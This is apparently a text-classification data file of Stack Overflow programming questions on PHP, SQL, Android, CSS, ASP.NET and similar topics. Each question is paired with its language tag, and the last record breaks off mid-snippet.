check if request is get and post  i know i can check if requesti is post with   <pre><code>if ($_server[ request_method ] ===  post ) </code></pre>   or get with   <pre><code>if ($_server[ request_method ] ===  get ) </code></pre>   but i need to check if request is both post and get. something like this:   <pre><code>if ($_server[ request_method ] ===  post  &amp;&amp; $_server[ request_method ] ===  get) </code></pre>   because i need to display both post and get parameters from the following code:   <pre><code>&lt;form method= post  action= form.php a=1&amp;b=2&amp;c=3 &gt; &lt;input list= isp  name= isp  id= ispf  value= siol &gt; &lt;input type= submit  value= submit &gt; &lt;/form&gt; </code></pre>,php
charts are not matching up one is centered the other is left justified in matplotlib  im trying to make a stock chart this is what i have. a candle stick chart of the price with a overlapping moving averg.  on the button is a bar chart of the vol.    the issue is the candle stick chart and vol chart are centered  while the moving averg is right justified.  thus when the moving averg chart overlaps the candle stick  they are not lines up on the x axes. (update: i just added two more charts at the buttom that use the plot methed  they are left justified to  it seems like al the charts i do using plot are left justified while the res are centered)    i use ax2v = ax2.twinx() to get the moving averg to be on same graph as candle stick.  ax2 is for candle stick  ax2v is for moving averg.    i did look this up and stack overflow and saw some one said you add  align= center   io tried  thatv as follows ax2v.plot(bit.slowmacd[macdstart:]  align= center ) and got a error saying typeerror: there is no line2d property  align     the code snippet for the candle stick and moving averg chart   #  <pre><code>### set uo candle stick chart x = 0 y = len(bit.listall)  ohlc = [] while x &lt; y:     append_me = bit.listall[x]  bit.openprice[x]  bit.biggestprice[x]  bit.smallestprice[x]  bit.closeprice[x]  bit.vol[x]     ohlc.append(append_me)     x+=1 candlestick_ohlc(ax2  ohlc[macdstart:]  width=0.4  colorup= #77d879   colordown= #db3f3f ) </code></pre>   ax2v.plot(bit.slowmacd[macdstart:]  align= center )    the complete program def drawgraph():   <pre><code>####################################################################### # set up chart postions and title fig = plt.figure() ax1 = plt.subplot2grid((6 1)  (0 0)  rowspan=1  colspan=1) plt.title( test ) plt.ylabel( h-l ) ax2 = plt.subplot2grid((6 1)  (1 0)  rowspan=4  colspan=1  sharex=ax1) plt.ylabel( price ) ax2v = ax2.twinx() #ax2v2 = ax2.twinx()  ax3 = plt.subplot2grid((6 1)  (5 0)  rowspan=1  colspan=1  sharex=ax1) plt.ylabel( mavgs ) ######################################################################  ###################################################################### ### set uo candle stick chart x = 0 y = len(bit.listall)  ohlc = [] while x &lt; y:     append_me = bit.listall[x]  bit.openprice[x]  bit.biggestprice[x]  bit.smallestprice[x]  bit.closeprice[x]  bit.vol[x]     ohlc.append(append_me)     x+=1 candlestick_ohlc(ax2  ohlc[macdstart:]  width=0.4  colorup= #77d879   colordown= #db3f3f ) ax2v.plot(bit.slowmacd[macdstart:]  align= center ) #ax2v.plot(bit.fastmacd[macdstart:]    align= center ) #####################################################################  ##################################################################### ### vol chart ax3.fill_between(bit.listall 0  bit.vol  facecolor= #0079a3 )     plt.show()  ax2v.plot(bit.slowmacd[macdstart:]) #ax2v.plot(bit.fastmacd[macdstart:]    align= center ) ##################################################################### </code></pre>,python
rails: change default format of the date_select helper   how can i change the default order of the date_select helper,ruby-on-rails
php contact form works under ie mywebsite.com/php/form.php but not when its set as default index.php ie mywebsite.com  newbie here  i found the problem when i tried to implement the code onto my website  which is made with bootstrap. i also made this weather scraper with bootstrap and php and that one ended up working under the default index.php ie. website.com    code. replaced my email with myemail    php   <pre><code>&lt; php  if ($_post[ submit ]) {        if (!$_post[ name ]) {          $error= &lt;br /&gt;please enter your name ;      }      if (!$_post[ email ]) {          $error.= &lt;br /&gt;please enter your email address ;      }      if (!$_post[ comment ]) {          $error.= &lt;br /&gt;please enter a comment ;      }      if ($_post[ email ]!=   and !filter_var($_post[ email ]      filter_validate_email)) {          $error.= &lt;br /&gt;please enter a valid email address ;     }        if ($error) {      $result= &lt;div class= alert alert-danger &gt;&lt;strong&gt;there were errors(s) in          your form:&lt;/strong&gt; .$error.  &lt;/div&gt; ;      } else {      if (mail( myemail    comment from website!    name:  .$_post[ name ].       email:  .$_post[ email ].       comment:  .$_post[ comment ])) {          $result= &lt;div class= alert alert-success &gt;&lt;strong&gt;thank you!&lt;/strong&gt;i\ ll be in touch.&lt;/div&gt; ;      } else {                  $result= &lt;div class= alert alert-danger &gt;&lt;strong&gt;sorry  there was an error                  sending your message. please try again.&lt;/strong&gt;&lt;/div&gt; ;      }            }      } </code></pre>    >    html   <pre><code>&lt;body&gt;   &lt;div class= container &gt;      &lt;div class= row &gt;          &lt;div class= col-md-6 col-md-offset-3 emailform &gt;              &lt;h1&gt;email us&lt;/h1&gt;              &lt; php echo $result;  &gt;              &lt;p class= lead &gt;please get in touch  and we will get back to you asap.&lt;/p&gt;           &lt;form method= post &gt;              &lt;div class= form-group &gt;                  &lt;label for= name &gt;name:&lt;/label&gt;                 &lt;input type= text  name= name  class= form-control  placeholder= name                  value= &lt; php echo $_post[ name ];  &gt;  /&gt;              &lt;/div&gt;              &lt;div class= form-group &gt;                  &lt;label for= email &gt;email:&lt;/label&gt;                 &lt;input type= email  name= email  class= form-control  placeholder= email                  value= &lt; php echo $_post[ email ];  &gt;  /&gt;              &lt;/div&gt;              &lt;div class= form-group &gt;                  &lt;label for= comment &gt;comment:&lt;/label&gt;                 &lt;textarea class= form-control  name= comment  value= &lt; php echo $_post[ comment ];  &gt; &gt;&lt;/textarea&gt;              &lt;/div&gt;              &lt;input type= submit  name= submit  class= btn btn-success btn-lg  value= submit  /&gt;           &lt;/form&gt;          &lt;/div&gt;      &lt;/div&gt;  &lt;/div&gt; </code></pre>,php
default values for associative array in php  i have a function that accepts a array parameter as    <pre><code>array( employee_name  =&gt;  employee_location  )  eg: array( john  =&gt;  u.s    hitler  =&gt;  australia    unitech  =&gt;  u.s  ) </code></pre>   i wish to keep  u.s  as the default location and a optional value  so    so if i pass   <pre><code>array( john    hitler  =&gt;  australia    unitech ) </code></pre>   is there a in-build function in php that automatically converts it to   <pre><code>array( john  =&gt;  u.s    hitler  =&gt;  australia    unitech  =&gt;  u.s  ) </code></pre>,php
using the same name for a table as a schema  to put it simply  will bad things happen if i use a table name which is also a schema name.      for example:    aircraft.aircraft,sql
how to select and sort it by parent-children in mysql  i have a table that looks like this   <pre><code>id  parent_id   name    address     email   telephone 2   null        name    address     email   phone 3   null        name2   address2    email2  phone2 4   null        name3   address3    email3  phone3 5   null        name4   address4    email4  phone4 6   null        name6               email6  phone6  7   5           name7               email7  phone7  8   null        name8               email8  phone8  </code></pre>   and i want to do a select on it so i select all the rows  but if a row has a parent it will be displayed after the parent. so in this case the rows will look like this   <pre><code>id  parent_id   name    address     email   telephone 2   null        name    address     email   phone 3   null        name2   address2    email2  phone2 4   null        name3   address3    email3  phone3 5   null        name4   address4    email4  phone4 7   5           name7               email7  phone7  6   null        name6               email6  phone6  8   null        name8               email8  phone8  </code></pre>   the row with id=7 goes before the one with id=6 because the parent_id of the one with id=7 is 5 so it is placed directly after that row.,mysql
clicking on text of custom control checkboxlist sends null event target  i have some custom controls.  my control is inherit from compositcontrol.  in my page  i create them in on_init(). i insert these controls to a place holder.  when i click on the checkbox itself  it sends correct postback  but when i click on the text next to the checkbox  i have 2 postbacks: one with event target equal null and the other with correct id. and when it sends the postback with correct id  page.ispostback is false  which is totally incorrect.  i want the click on the text behave like the click on the check box.  how do i do that     thanks in advance.    this is how i creat the checkboxlist:   <pre><code>protected override void createchildcontrols()  {     controls.clear();      _lquestion = new label();     _lquestion.id =  quest +questionid;     _lquestion.text = question         + questionid //for debugging         ;     _lquestion.cssclass = eddquestionarestyle.eddquestionstyle.tostring();     _cbl = new checkboxlist();     _cbl.id =  ans +questionid;     for( int i=0; i&lt;_possibleanswers.count();i++)     {         answeroption a = _possibleanswers[i];         _cbl.items.add(a.value.tostring());     }     _cbl.cssclass = eddquestionarestyle.eddanswerstyle.tostring();     _cbl.selectedindexchanged += new eventhandler(cbl_selectedindexchanged);     page.registerrequirespostback(_cbl);//will call loadpostdata      controls.add(new literalcontrol( &lt;br&gt; ));     controls.add(_lquestion);     controls.add(new literalcontrol( &lt;br&gt; ));     controls.add(_cbl);      childcontrolscreated = true; } </code></pre>   this is my addattributestorender:   <pre><code>    protected override void addattributestorender(htmltextwriter writer)     {          writer.addattribute(htmltextwriterattribute.name  this.uniqueid);         writer.addattribute(htmltextwriterattribute.type  this.gettype().name);         writer.addattribute(htmltextwriterattribute.onclick              page.clientscript.getpostbackeventreference(this  this.uniqueid));         base.addattributestorender(writer);     } </code></pre>   it will render html like this:   <pre><code>    &lt;br /&gt; &lt;span id= 214  onclick= __dopostback( 214   214 )  type= mycheckboxlist  name= 214 &gt;     &lt;br /&gt;     &lt;span class= eddquestionstyle  id= 214_quest21 &gt;where will the money deposited in your         account(s) come from  select all that apply.21&lt;/span&gt;&lt;br /&gt;     &lt;table class= eddanswerstyle  id= 214_ans21  border= 0 &gt;         &lt;tbody&gt;             &lt;tr&gt;                 &lt;td&gt;                     &lt;input id= 214_ans21_0  type= checkbox  checked name= 214$ans21$0  value= on  /&gt;&lt;label                         for= 214_ans21_0 &gt;payroll&lt;/label&gt;                 &lt;/td&gt;                 &lt;td&gt;                     &lt;input id= 214_ans21_4  type= checkbox  checked name= 214$ans21$4  value= on  /&gt;&lt;label                         for= 214_ans21_4 &gt;cash&lt;/label&gt;                 &lt;/td&gt;                 &lt;td&gt;                     &lt;input id= 214_ans21_7  type= checkbox  name= 214$ans21$7  value= on  /&gt;&lt;label for= 214_ans21_7 &gt;gifts&lt;/label&gt;                 &lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;                 &lt;td&gt;                     &lt;input id= 214_ans21_1  type= checkbox  checked name= 214$ans21$1  value= on  /&gt;&lt;label                         for= 214_ans21_1 &gt;payments other than payroll&lt;/label&gt;                 &lt;/td&gt;                 &lt;td&gt;                     &lt;input id= 214_ans21_5  type= checkbox  name= 214$ans21$5  value= on  /&gt;&lt;label for= 214_ans21_5 &gt;account                         transfers&lt;/label&gt;                 &lt;/td&gt;                 &lt;td&gt;                     &lt;input id= 214_ans21_8  type= checkbox  name= 214$ans21$8  value= on  /&gt;&lt;label for= 214_ans21_8 &gt;loans&lt;/label&gt;                 &lt;/td&gt;             &lt;/tr&gt;          &lt;/tbody&gt;     &lt;/table&gt; </code></pre>   when i click on the checkbox payroll  for example  i have a postback with id 214  which is the span id. when i click on the text  payroll   i have 2 postback with event target null and 214. what did i do wrong  thanks,asp.net
how do i find the most recently dated record for each id in a set of ids where any id can have multiple records each for a particular date   i ve got a data set that looks as follows:    <img src= https://i.imgur.com/iccdf.png  />    the first column is an auto-increment primary key.  the second column is an id number for whatever  maybe 3 rocks with ids 1  2 and 3 respectively.  (i probably should have used the standard customer and order example but oh well.)  the third column is a date when i threw the rock.  i track the date each time the rock is thrown  hence the multiple ids (the second column) each with a throwing time.      i want a query to return the rock id and most recent date for each id.  the result of course would have a single record for each id - the one with the latest access time.    i m struggling with the possible combination of  distinct    top 1  and  group by  clauses that gives the result i want.,sql
rail installation problem <pre><code>c:\rubygems-1.3.7&gt;gem install rails ruby-debug capistrano rspec zentest webrat  image_scie nce mini_magick mechanize redcloth  fastercsv piston sashimi ruport json newgem open4 rubi gen --no-ri --no-rdoc warning:  rubygems 1.2+ index not found for:         http://rubygems.org/         http://gems.rubyforge.org         http://gems.rubyforge.org  rubygems will revert to legacy indexes degrading performance. bulk updating gem source index for: http://rubygems.org/ error:  while executing gem ... (gem::remotesourceexception)     error fetching remote gem cache: socketerror: getaddrinfo: no address associated with hostname. (http://rubygems.org/yaml) </code></pre>   keep getting the above error  tried other linked questions and google to no avail  please help!!    thanks in advance     will.    gems env :   <pre><code>c:\rubygems-1.3.7&gt;gem env rubygems environment:   - rubygems version: 1.3.7   - ruby version: 1.8.6 (2008-08-11 patchlevel 287) [i386-mswin32]   - installation directory: c:/ruby/lib/ruby/gems/1.8   - ruby executable: c:/ruby/bin/ruby.exe   - executable directory: c:/ruby/bin   - rubygems platforms:     - ruby     - x86-mswin32-60   - gem paths:      - c:/ruby/lib/ruby/gems/1.8      - c:/users/will/.gem/ruby/1.8   - gem configuration:      - :update_sources =&gt; true      - :verbose =&gt; true      - :benchmark =&gt; false      - :backtrace =&gt; false      - :bulk_threshold =&gt; 1000      - :sources =&gt; [ http://rubygems.org ]   - remote sources:      - http://rubygems.org </code></pre>,ruby-on-rails
send broadcastreciver request even if application not started yet  i understoo from docs that    <blockquote>    as of android 3.1 the android system will by default exclude all   broadcastreceiver from receiving intents if the corresponding   application has never been started by the user or if the user   explicitly stopped the application via the android menu (in manage   application).  </blockquote>   thus  i wonder how could i send send broadcast to receiver if my app have not been started yet.,android
upload image application is working fine on emulator but unable to upload image on test phone  <strong>upload image application: it is working fine on emulator but unable to upload image on test phone. it chooses pic from gallery but doesnt display anything in imageview.</strong>     <pre><code> public class uploadimage extends activity {         public static int requestcode=1;         button b1;          @override         public void oncreate(bundle savedinstancestate) {             super.oncreate(savedinstancestate);             setcontentview(r.layout.activity_uploadimage);                b1= (button) findviewbyid(r.id.button1);          b1.setonclicklistener(new view.onclicklistener() {              public void onclick(view v) {                 intent i=new intent(intent.action_pick android.provider.mediastore.images.media.external_content_uri);                 startactivityforresult(i  requestcode);                      }         });         }     protected void onactivityresult(int requestcode  int resultcode  intent data)       {         super.onactivityresult(requestcode  resultcode  data) ;         if (requestcode==1 &amp;&amp; resultcode==result_ok) {             uri image = data.getdata();             string [] filepath = {mediastore.images.media.data};              cursor cursor = getcontentresolver().query(image  filepath  null  null  null);             cursor.movetofirst();              int column = cursor.getcolumnindex(filepath[0]);             string path= cursor.getstring(column);             cursor.close();             imageview imageview= (imageview) findviewbyid(r.id.imageview1);             imageview.setimagebitmap(bitmapfactory.decodefile(path));                    }       }     } </code></pre>,android
how to move through different records in c#  i made a form that basically displays information about different vendors from an xml file that i was given. the xml file is retrieved from a class that i created  called vendorsdb.cs. on my form  i have a previous and next button that i want to display the next vendor or the previous vendor (vendor1  vendor2...) but i have no idea what method to use. i know i have to use a loop but i m not sure as to how to code the loop. i ve just started programming with c# so i m really lost. any help would be greatly appreciated!,c#
how to efficiently find a rect @ some x y point with iphone sdk  i am looking for an efficient way to handle the image/frame detection from touch methods. let s say i am building a keyboard or similar to this.  i have  n  number of images placed on the ui. when someone touches an alphabet (which is an image)  i can do the following to detect the corresponding letter    1) cgrectintersectsrect(.. ..) : if i use this  then i need to check each &amp; every letter to find out what letter exists at that touch point (let s say 100 100). this becomes o(n). if i move my finger accross the screen  then i will get m points &amp; all corresponding image detection becomes o(n*m) which is not good.    2) other way is building a hash for each &amp; every x y position so that the look up will be simply o(1). but again this will be a memory constraint as i need to store 300*300 ( assuming i am using 300*300 screen size). if i reshuffle my letters  then everything needs to calculated again. so this is not good    in other words  i need some thing like   given a point (x y)  i need some way of finding which rectangle is covering that point efficiently.    sorry for long post &amp; any help would be grateful.    thanks,iphone
call nsdictionary in current view controller  i have an function in which i am calling values from dictionary that is defined in other view controller. i have to call this method in view didload method of current view controller.    here is my code:   <pre><code>-(void)setdata:(nsdictionary *)dic {  self.jsonlabel.text = [dic objectforkey:@ description ]; self.jsonimage.image = [uiimage imagewithdata: [nsdata datawithcontentsofurl: [nsurl urlwithstring: [dic objectforkey:@ pictureurl ]]]];} </code></pre>,iphone
how can i stop a php page from loading when its taking too long  i have a php page which auto refreshes itself after 10 seconds. some time the page takes too long to load as its fetching data from external urls . how can i stop execution of the script after 10 seconds and then reload the page.,php
write a select statement to query  i m trying to query the first letter of a last name in mysql. i want to skip the first name and query the a certain letter in the last name. thanks    in sku_data  which sku has a buyer whose last name begins with  m   */   <pre><code>select * from sku_data where buyer ;  </code></pre>,mysql
"is it expected that input password submits automatically   i tried creating a form like this.     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;form&gt;
   &lt;input type= text  autocomplete= username  style= display:none; &gt;
   &lt;label for= password &gt;password:&lt;/label&gt;&lt;input type= password  autocomplete= current-password &gt;&lt;button&gt;ok&lt;/button&gt;&lt;/div&gt;
 &lt;/form&gt;</code></pre>
 </div>
 </div>
     note: the username is only there to shut chrome s devtools up. it prints a warning that a username should be required but i m actually working on an electron app. similarly the <code>&lt;form&gt;</code> is only there to shutup the devtools. i only needed the password field.    in any case if i press enter in the password field or click the ok button the form submits  or at least the page reloads  which was very surprising. there s no <code>submit</code> button and no javascript.    i would have expected a submit button to submit. i would not have expected pressing enter in the password field to submit nor pressing some random button element that has no handlers attached.    is that the expected behavior     note: you can try it in the snippet above. run the snippet  press ok.",html
how to 2 update in one mysql query  in mysql query how to do 2 update in one query  the query below:   <pre><code>update `stats` set `coin` = coin + 500 where `player` =  userone  update `stats` set `coin` = coin - 500 where `player` =  usertwo  </code></pre>,mysql
view hidden folders in browsers  browse   is it possible to view hidden folders in a browsers  browse  input     <code>&lt;input type =  file  name =  file  /&gt;</code>    for example  can you navigate to the roaming folder on windows,html
what s the right time to call context.getsystemservice   i write some code like this:   <pre><code>maudiomanager = (audiomanager) context.getsystemservice(context.audio_service); </code></pre>   it will run in application s <code>oncreate</code> function. but in some android phones   it will be crashed in construct function of <code>audiomanager</code>. i found someone else had this problem   he said it should be called within <code>oncreate</code>  that s what i do exactly.     <strong>so my question is what s the right time to call getsystemservice  or my usage of it is totally wrong </strong>    logcat: <img src= https://i.stack.imgur.com/zmvlq.png  alt= enter image description here >,android
sending mail this way  <pre><code>&lt;form enctype= multipart/form-data  method= post  action= mailto:sachin@ifline.com  accept-charset= utf-8 &gt; </code></pre>   is there a problem if mails are sent this way .. i wanna avoid using php codes..,html
changing css based on value comparison in angular  i have a group of divs with unique attrs   <pre><code>&lt;div ng-repeat= data in data &gt;     &lt;p data-id= home_{{$index}} &gt;{{data}}&lt;/p&gt; &lt;/div&gt; </code></pre>   the data looks like this    <pre><code>$scope.data = { a :47.1  b :46.9  c :22.9} </code></pre>   i m trying to highlight the integer with the greatest value. any advice on how to approach this type of task in angular,angularjs
databases in asp.net webapplication  how to make the databases machine independent in asp.net   when we provide connection string it takes the native machine address . but if we want to make it machine free what should be the procedure,asp.net
html  <a> or <span> arround <img>  buggy rendering  i have experienced in numerous implementations that an image <code>&lt;img&gt;</code> wrapped by an <code>&lt;a&gt;</code> anchor or <code>&lt;span&gt;</code> tag shows some extended padding arbitrarily on top  bottom  or either side.    is it browser specific  related to misuse of tags  or considered a flaw in html,html
select row with same entry in different columns  suppose you have a table user table and there are two different columns user_name and email_id. now i need to get all those entries whose user_name and email_id is same/different.,mysql
call linkbutton event on page load in asp.net  i am calling the link button event on page load which is not working as there is no sender for the click. but when i tried to create a new object it gives an error.   <pre><code> lnkfirst_click(new object() new commandeventargs()); </code></pre>,asp.net
how to override all css style classes in an input field without effecting other elements   i am customizing an input field to be 100% witdh. i am confused if i have to do this:    <strong>first:</strong>   <pre><code>.fullwidth input  input[type= text ]  {     width: 100%;     -webkit-box-sizing : border-box;‌​     -moz-box-sizing : border-box;     box-sizing : border-box;     height: 35px; } </code></pre>   or just     <strong>second:</strong>   <pre><code>.fullwidth  {     width: 100%;     -webkit-box-sizing : border-box;‌​     -moz-box-sizing : border-box;     box-sizing : border-box;     height: 35px; } </code></pre>   somehow the second one is not giving any effect to my textbox. but when i used the first one  it affects all input field in the document  ruining other elements  styles.,css
sql join limit to top 1 when have multiple column join  i need to join 2 tables   <pre><code>tablea ---------- cola   colb a      1 b      2 c      3 d      4  tableb ---------- colc  cold cole... a     a    x a     b    x a     c    x b     a    y b     b    y b     c    y </code></pre>   previously i would have joined the table as such:   <pre><code>select * from tablea a join tableb b on b.colc =                  --this column should normally be a unique key column     (select top 1 tempb.colc      from tableb tempb      where a.cola = tempb.colc      and ...(other requirements here)     ) </code></pre>   but that does not work here as there is no single unique column in this instance.    edit: the required output is a one to one join to obtain the value in columne of table2 for use elsewhere.    edit again: desired output -    <pre><code>cola colb colc cole cold a    1    a    x    any value of a b c (doesn t matter) b    2    b    y    any value of a b c </code></pre>,sql
remove objects with common variables in an array  i have a object array like this:   <pre><code>var objs = [     {   x : 2          y : 2          a : true     }      {   x : 2          y : 2          a : false     }      {   x : 2          y : 3          a : false     }      {   x : 2          y : 4          a : false     }  ]; </code></pre>   my objective is get only the objects that have the value of <code>a</code> set to <code>false</code>  so i did it:   <pre><code>var filter = objs.filter(function(obj) { return !obj.a; }); </code></pre>   this works very well  but now i need remove each object that have the same <code>x</code> and <code>y</code> of other object and have the <code>a</code> set to <code>false</code> from the original array. so in my example  only the second object should be removed (<code>objs[1]</code>)  because the <code>x</code> and <code>y</code> values are the same of <code>objs[0]</code>  but the <code>a</code> is set to <code>false</code>. the ouput of the example will be this:   <pre><code>var objs = [     {   x : 2          y : 2          a : true     }      {   x : 2          y : 3          a : false     }      {   x : 2          y : 4          a : false     }  ]; </code></pre>   a picture to be more clear:    <a href= https://i.stack.imgur.com/drtdc.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/drtdc.png  alt= example ></a>    <em>obs.: vanilla js only.</em>,javascript
not able to use `return` in second operand of ternary  i want to return a value if a condition is met  but perform a function if it isn t.    i m getting an error with    <pre><code>function is_equal(a b){     a === b   return true : do_something(a b); } </code></pre>   but i get the error. <code>unexpected token return</code> though once when i did it  i got <code>unexpected token false</code>!    this works:   <pre><code>return a === b   true : do_something(a b); </code></pre>   but does this in some way return something from a function that s not meant to return anything  is a ternary not the right choice for this  the mdn page has no documentation that specifies it shouldn t be used like so. it does show them being used in just about every other conceivable way.. thanks!,javascript
mysql throwing a 1111 invalid use of group function  for the life of me i can t figure out why this query is throwing a 1111 error.  help!   <pre><code>select fs.player_id  count(fs.game_id)  from eg.flag_stats fs  eg.flag_games fg where fs.here =  1  and fg.start_time &gt; max(re.end_time) and fs.freq = fg.winning_freq and fs.game_id = fg.id group by fs.player_id order by count(fs.game_id) desc; </code></pre>   please and thanks!,mysql
in sql how do you find duplicates on 2 rows of 6 rows returned   <a href= http://i.stack.imgur.com/wyado.png  rel= nofollow >example query</a>    i want to create a query over the example set of data attached that only returns duplicate records based on columns 2 &amp; 6.  so for the example set of data attached i would want my results to be:   <pre><code> 1. 1 802733 ex02291617 1160304 633578 37.25 y  2. 1 802733 ex04081638 1160412 638232 37.52 y  3. 1 802733 ex04141602 1160422 639539 37.52 y  4. 1 806717 ex01111659 1160115 628215 83.9  y  5. 1 806717 ex02091664 1160212 631401 83.9  y </code></pre>   every time i try to use a group by function  it appears that it only works if i use all columns of returned data.  i am hopeful it does not have to be this way.,sql
how to convert this from table tag to div tag  i have a very simple table that i would like to convert to div for example purposes.  i am having no luck with this.      here is my page: <a href= http://jsbin.com/equfo  rel= nofollow noreferrer >http://jsbin.com/equfo</a>    basically i want to convert it to div because i m tired of having tables like these where i want the button to show in the middle of the table at hand. but since i am using   tags. the middle is never middle of the table but instead is the middle of the td tag.,html
managing ios developer and ios enterprise developer accounts  there has been a lot of questions on this already that answer some of my questions. i am looking for someone who has direct experience with setting up and managing both accounts.    i have a situation where i need to send a private beta test to more than 100 people (the ad-hoc device limit for ios)  but i still want to be able to publish publicly to the app store.    my solution is to obtain both an enterprise account and a regular developer account. the enterprise account allows me to distribute to anyone within my company  privately with no limit. the regular account gives me the ability to publish to the app store. unfortunately this means i have two create two different apple developer accounts.    i am worried about the hidden caveats that are involved with this process.    <ul> <li>is there any caveats with managing two separate apple developer accounts for the same application </li> <li>any problem with packaging names for applications  i m assuming the identifier needs to be different.</li> <li>i hear that you cannot test the storekit with the enterprise program. any other problems similiar to that </li> </ul>,ios
difference between long.tobinarystring() and long.tostring(num  2)   both of these functions convert a long to a binary string  but is one more optimized than the other  i looked at the source code for the long class and these two static methods have different implementations.,java
binding repeater data to dynamic tab in asp.net  i wanted to bind the repeater s data to dynamic tab of year the image for which i am attaching <a href= http://i.stack.imgur.com/vyrjb.png  rel= nofollow >enter image description here</a> the repeater code is as below:                      <pre><code>                &lt;!--begin isotope --&gt;                 &lt;div class= isotope col-lg-12 &gt;                       &lt;!--begin portfolio filter --&gt;                     &lt;ul id= filter  class= option-set clearfix &gt;                                                     &lt;li data-filter= *  class= selected &gt;&lt;a&gt;all&lt;/a&gt;&lt;/li&gt;                         &lt;asp:repeater id= rpyear  runat= server  onitemdatabound= rpyear_itemdatabound &gt;                             &lt;itemtemplate&gt;                                 &lt;li data-filter= &lt;%#eval( year ) %&gt; &gt;                                     &lt;a&gt;                                         &lt;asp:label id= lbl  runat= server  text= &lt;%#eval( year ) %&gt; &gt;&lt;/asp:label&gt;                                     &lt;/a&gt;                                 &lt;/li&gt;                             &lt;/itemtemplate&gt;                         &lt;/asp:repeater&gt;                     &lt;/ul&gt;                       &lt;ul id= list  class= portfolio_list clearfix &gt;                         &lt;asp:repeater id= rpimagedetails  runat= server &gt;                             &lt;itemtemplate&gt;                                 &lt;li class= list_item col-lg-4 col-md-4 col-sm-4 &lt;%#eval( year ) %&gt;  &gt;                                     &lt;div class= recent-item &gt;                                         &lt;figure&gt;                                             &lt;div class= touching medium &gt;                                                 &lt;img src= &lt;%#  fileupload/eventpic/ + eval( image ) %&gt;  alt=   /&gt;                                                 &lt;div class= hovers &gt;                                                     &lt;a href= &lt;%#  fileupload/eventpic/ + eval( image ) %&gt;  class= hover-zoom mfp-image  style= left: 45%; &gt;&lt;i class= fa fa-search &gt;&lt;/i&gt;&lt;/a&gt;                                                     &lt;!--&lt;a href= portfolio_single.html  class= hover-link &gt;&lt;i class= fa fa-link &gt;&lt;/i&gt;&lt;/a&gt;--&gt;                                                 &lt;/div&gt;                                             &lt;/div&gt;                                             &lt;figcaption class= item-description &gt;                                                 &lt;h5&gt;&lt;%#eval( title ) %&gt;&lt;/h5&gt;                                                 &lt;span&gt;&lt;%#eval( date ) %&gt;                                                     &lt;br&gt;                                                     &lt;%#eval( stallno ) %&gt;                                                     &lt;br&gt;                                                     &lt;%#eval( location ) %&gt;&lt;/span&gt;                                             &lt;/figcaption&gt;                                         &lt;/figure&gt;                                     &lt;/div&gt;                                 &lt;/li&gt;                             &lt;/itemtemplate&gt;                         &lt;/asp:repeater&gt;                     &lt;/ul&gt;                  &lt;/div&gt;             &lt;/div&gt;             &lt;!--./span12--&gt;         &lt;/div&gt; </code></pre>   <strong>the code behind file is as below:</strong>    protected void page_load(object sender  eventargs e)     {         getyear();         bindeventvideo1();     }   <pre><code>public void getyear() {      dataset ds = eventvideo.getyear();     if (ds.tables[0].rows.count &gt; 0)     {         rpyear.datasource = ds;         rpyear.databind();     } }  protected void rpyear_itemdatabound(object sender  repeateritemeventargs e) {     if (e.item.itemtype == listitemtype.alternatingitem || e.item.itemtype == listitemtype.item)     {         repeater rpimages = (repeater)e.item.findcontrol( rpimagedetails );         label item = (label)e.item.findcontrol( lbl );         string year = item.text;         viewstate[ year ] = year;     } } public void bindeventvideo1() {      dataset ds = eventvideo.getyearimages(viewstate[ year ].tostring());     if (ds.tables[0].rows.count &gt; 0)     {         rpimagedetails.datasource = ds.tables[0];         rpimagedetails.databind();     } } </code></pre>   i am new to asp.net  so kindly help.    thanks in advance.    <strong>the html code is</strong>   <pre><code>&lt;div class= isotope col-lg-12 &gt;                          &lt;!--begin portfolio filter --&gt;                             &lt;ul id= filter  class= option-set clearfix &gt;                             &lt;li data-filter= *  class= selected &gt;&lt;a href= # &gt;all&lt;/a&gt;&lt;/li&gt;                             &lt;li data-filter= .2014 &gt;&lt;a href= # &gt;2014&lt;/a&gt;&lt;/li&gt;                             &lt;li data-filter= .2012 &gt;&lt;a href= # &gt;2012&lt;/a&gt;&lt;/li&gt;                            &lt;!-- &lt;li data-filter= .2011 &gt;&lt;a href= # &gt;2011&lt;/a&gt;&lt;/li&gt;--&gt;                             &lt;li data-filter= .2010 &gt;&lt;a href= # &gt;2010&lt;/a&gt;&lt;/li&gt;                         &lt;/ul&gt;                         &lt;!--end portfolio filter --&gt;                          &lt;!--begin portfolio_list --&gt;                         &lt;ul id= list  class= portfolio_list clearfix &gt;                             &lt;!-- begin portfolio item --&gt;                              &lt;li class= list_item col-lg-4 col-md-4 col-sm-4 2014 &gt;                                 &lt;div class= recent-item &gt;                                     &lt;figure&gt;                                         &lt;div class= touching medium &gt;                                             &lt;img src= images/events/2014-1.jpg  alt=   /&gt;                                             &lt;div class= hovers &gt;                                                 &lt;a href= images/events/full/2014-1.jpg  class= hover-zoom mfp-image   style= left:45%; &gt;&lt;i class= fa fa-search &gt;&lt;/i&gt;&lt;/a&gt;                                                 &lt;!--&lt;a href= portfolio_single.html  class= hover-link &gt;&lt;i class= fa fa-link &gt;&lt;/i&gt;&lt;/a&gt;--&gt;                                             &lt;/div&gt;                                         &lt;/div&gt;                                         &lt;figcaption class= item-description &gt;                                             &lt;h5&gt;elecrama 2014&lt;/h5&gt;                                             &lt;span&gt;date : 8th - 12th jan  2014. &lt;br&gt;      stall no: h2a55 &lt;br&gt;      biec       bangalore  india&lt;/span&gt;                                         &lt;/figcaption&gt;                                     &lt;/figure&gt;                                 &lt;/div&gt;                             &lt;/li&gt;                             &lt;!-- end portfolio item --&gt;  &lt;!-- begin portfolio item --&gt;                              &lt;li class= list_item col-lg-4 col-md-4 col-sm-4 2014 &gt;                                 &lt;div class= recent-item &gt;                                     &lt;figure&gt;                                         &lt;div class= touching medium &gt;                                             &lt;img src= images/events/2014-2.jpg  alt=   /&gt;                                             &lt;div class= hovers &gt;                                                 &lt;a href= images/events/full/2014-2.jpg  class= hover-zoom mfp-image   style= left:45%; &gt;&lt;i class= fa fa-search &gt;&lt;/i&gt;&lt;/a&gt;                                                 &lt;!--&lt;a href= portfolio_single.html  class= hover-link &gt;&lt;i class= fa fa-link &gt;&lt;/i&gt;&lt;/a&gt;--&gt;                                             &lt;/div&gt;                                         &lt;/div&gt;                                         &lt;figcaption class= item-description 